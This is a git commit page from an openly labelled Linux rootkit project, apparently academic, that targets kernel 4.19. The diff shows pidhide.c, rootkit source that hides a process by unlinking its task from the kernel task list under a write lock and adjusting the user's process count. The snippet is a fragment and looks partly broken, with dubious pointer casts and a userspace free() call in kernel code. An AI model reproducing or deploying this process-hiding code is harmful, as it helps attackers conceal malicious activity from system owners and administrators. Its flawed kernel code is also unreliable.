linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 0d33f3264f19bd725770f28e544d5b7f110cd2e0
parent 19c9c4d360340e54a932d1d0cf4e2a9c57fded32
Author: deurzen <m.deurzen@tum.de>
Date:   Mon, 25 Jan 2021 03:10:52 +0100

fixes issues

Diffstat:
Mrootkit/src/pidhide.c | 7+++----
1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/rootkit/src/pidhide.c b/rootkit/src/pidhide.c @@ -78,8 +78,6 @@ hide_pid(pid_t pid) struct list_head *pos, *q; struct task_struct mylist; - - rcu_read_lock(); atomic_dec(&__task_cred(ts)->user->processes); rcu_read_unlock(); @@ -87,9 +85,10 @@ hide_pid(pid_t pid) write_lock_irq(rwlock); list_for_each_safe(pos, q, &mylist.tasks){ tmp= list_entry(pos, struct task_struct, tasks); - if (pos == ts) + if (((struct task_struct *)pos) == ((struct task_struct *)ts)) { list_del(pos); - free(tmp); + DEBUG_INFO("FOUND\n"); + } } write_unlock_irq(rwlock); }